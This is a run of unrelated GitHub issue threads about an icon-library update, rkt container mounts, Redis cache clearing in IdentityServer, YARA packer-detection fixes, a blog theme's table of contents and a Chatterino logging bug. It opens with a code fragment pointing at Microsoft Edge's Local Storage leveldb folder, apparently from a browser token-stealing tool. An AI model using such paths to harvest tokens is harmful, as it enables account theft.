'Microsoft Edge': self.appdata + '\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb\\',

and it works!

@mategol Bump


v4.3.0

https://remixicon.com/ released v4.3.0 last month.

Its 4.5 now lol

I will update to version 4.5 soon.

The library has been updated to version 4.5.0


/dev, /proc and /sys are not mounted in my running rkt container

Helllo...
I'm using php docker image as the base image for my container, it's in order to add additional extensions to php.
everything works fine.. the image is created.. but when I'm running it and I execute 'rkt enter ID', I notice that /sys, /proc and /sys are not mounted. any ideas why?
this is my build script:

#!/usr/bin/env bash
set -e
if [ "$EUID" -ne 0 ]; then
    echo "This script uses functionality which requires root privileges"
    exit 1
fi

PHP_VERSION=7.1.7
# Start the build with an empty ACI
acbuild --debug begin docker://php:${PHP_VERSION}-fpm-alpine

# In the event of the script exiting, end the build
acbuildEnd() {
    export EXIT=$?
    acbuild --debug end && exit $EXIT
}
trap acbuildEnd EXIT

ACBUILD_FLAGS="--debug"
# Name the ACI
acbuild --debug set-name tux-in.com/php-fpm
acbuild --debug label add version 0.1
acbuild --debug label add arch amd64
acbuild --debug label add os linux

acbuild ${ACBUILD_FLAGS} run -- apk upgrade -U

until acbuild ${ACBUILD_FLAGS} run -- apk add freetype alpine-sdk sed libtool zlib-dev openssl-dev bzip2-dev curl-dev jpeg-dev freetype-dev gettext-dev libmcrypt-dev libpq postgresql-dev sqlite-dev libedit-dev dpkg dpkg-dev; do
 echo "failed downloaded packages.. retrying.."
 sleep 2
done

until acbuild ${ACBUILD_FLAGS} run -- docker-php-ext-configure zip; do
 echo "failed downloaded packages.. retrying.."
 sleep 2
done

acbuild ${ACBUILD_FLAGS} run -- docker-php-ext-install -j5 zip bz2 curl exif fileinfo gd gettext iconv mcrypt  pdo_mysql pdo_pgsql pdo_sqlite readline reflection session || true
acbuild ${ACBUILD_FLAGS} port add php-fpm tcp 9000

acbuild ${ACBUILD_FLAGS} set-exec -- /usr/local/sbin/php-fpm -D
acbuild ${ACBUILD_FLAGS} write --overwrite tuxin-php-fpm-1.0-linux-amd64.aci

and the systemd file that starts rkt-php-fpm at the following:
[Unit]
Description=PHP-FPM
Requires=network-online.target local-fs.target
After=network-online.target local-fs.target
[Install]
WantedBy=multi-user.target

[Service]
Slice=machine.slice
ExecStart=/usr/bin/rkt run --net=host --insecure-options=image --volume php-etc,kind=host,source=/mnt/storage/php/etc,readOnly=true --volume nginx-vhosts,kind=host,source=/mnt/storage/nginx/vhosts,readOnly=false --volume logs,kind=host,source=/mnt/storage/php/log,readOnly=false --volume html,kind=host,source=/mnt/storage/nginx/html,readOnly=false --mount volume=php-etc,target=/usr/local/etc --mount volume=nginx-vhosts,target=/var/www/html-vhosts --mount volume=logs,target=/usr/local/var/log --mount volume=html,target=/var/www/html /home/ufk/dev/acbuild-builds/tuxin-php-fpm-1.0-linux-amd64.aci
KillMode=mixed
Restart=always
RestartSec=0
ExecStopPost=/usr/bin/rkt gc --mark-only

I'm on Container Linux by CoreOS 1465.0.0 (Ladybug) with rkt version 1.27.0 and latest acbuild from git.
thank you! :)

Can you check if the real application actually sees those? I think this is just an artifact of rkt enter behavior, which is not exactly entering the same namespaces as seen by the running application.

the real application sees those! :) thanks
if I need to enter the rkt container to build and test some stuff and I need a proper /proc for that, would I need to open ssh for each container or is there a different way to resolve this?

This probably need some patching on rkt enter side to detect there is a nested mount namespace and to enter it. The tricky part is that this additional mount namespace is optional (systemd creates it) and it must be detected by inspecting the top pid of your app, which is unknown.
As a workaround if you just need /proc and /sys, after rkt-entering you can either mount them or nsenter the mount-ns of your app, depending on which binary you have available.
Can you please report this to the rkt bug tracker? It is probably not so easy and widespread to fix it immediately, but it's worth tackling eventually.

of course :) thank you i'm not familiar with nsenter, i'll read about it

https://github.com/rkt/rkt/issues/3744

Thanks! I've captured my previous comment there, closing this bug then.


Is there a way to clear the RedisCache programmatically?

Hi,
I am using the RedisCaching via:
 .AddRedisCaching(options =>
                {
                    options.RedisConnectionMultiplexer = DefaultRedisConnection;
                    options.KeyPrefix = $"StoreCache_{Configuration[SubTenantID]}_";
                    options.Db = 1;
                })

is there an easy way to clear the cache? For example after an update to the client model, the cache will have a stale client model.
I used the stackexchange library to delete the keys associated with the Store like:
  var keys = await Client.SearchKeysAsync($"{_storeKeys}*");
                await Client.RemoveAllAsync(keys);
                return true;

but I am not sure if your library or IdentityServer has a cleaner way to do this.

the easiest would be to wait until the cached client model expires, usually I would say to the consumers please allow x minutes for the changes to take effect, where x is what you configured on identity server options.
What you are talking about is aggressive update of the cache, this is harder to implement and is beyond the scope of the library of identity server.

@AliBazzi yep I was looking for a standard way to aggressively update the cache. Okay awesome, thank you for the help.


Use docker-compose vs docker scripts

Simplifies things

I could take a stab at this @gaieges

done!


Improvement to the detection of multiple packers.

This PR changes the following:
Added:

Added new version of Ste@lth packer.

Removed:

Ramnit was removed as a packer (it is a file-infector).
Several ambiguous YARA rules that were too generic and not specific to described packer (Themida, InstallShield, MEW, tElock, Ste@lth).
Redundant AHPack rule since AHPack and !EP ExeCrypt are the same product with different names.
Incorrect recognition of RLPack. It was detecting code that was generated by Themida

Improved:

Detecting UPX by section names now only detects when the very first section is zero-size.
UPX detection based on the magic block now only detects when this block is placed before the first section.
The detection of VMProtect is now more precise, lowering the number of false-positive detections.
Renamed WinUpack to Upack for consistency.
Renamed yoda's Crytper to yoda's Protector for consistency.
Renamed one ASPack rule to ASProtect as it was detecting the code that is only present in ASProtect.

Corresponding tests

Let's run TC tests.


How to activate toc?

Hi, thank you for your wonderful theme, I really like it. I just cannot find out how to activate the table of contents. I can see in your site example that it appears in the bar at the right side, below the author's details. But I cannot make it appear for my posts. I would really appreciate help on this.
Thanks in advance.

Sorry, I found the issue. It did not work for posts where title 1 is missing (#).

Sorry, I found the issue. It did not work for posts where title 1 is missing (#).

yes! the table of contents need the first post to appear. thanks for your support.


Capitalizing channel names breaks the logger

Checklist

[X] I'm reporting a problem with Chatterino
[X] I've verified that I'm running the most recent nightly build or stable release
[X] I've looked for my problem on the wiki
[X] I've searched the issues and pull requests for similar looking reports

Describe your issue
Spelling channels in the log inclusion list with any form of capitalization causes them to not be logged at all.
When "Only log channels listed below" is disabled all channels, even those with capitalization in the tab names, are logged as expected.
Screenshots

OS and Chatterino Version
Chatterino 2.4.5 (commit 05a72d33) built with Qt 5.15.2, MSVC 193532217 Running on Windows 10 Version 2009, kernel: 10.0.19045

When "Only log channels listed below" is disabled all channels, even those with capitalization in the tab names, are logged as expected.

That's because the tab name is not relevant, xQc is not his username xqc is, but the input should be interpreted as lowercase either way.

That's because the tab name is not relevant, xQc is not his username xqc is

I figured as such, though I am not very familiar with the Chatterino codebase so I figured it was still worth mentioning.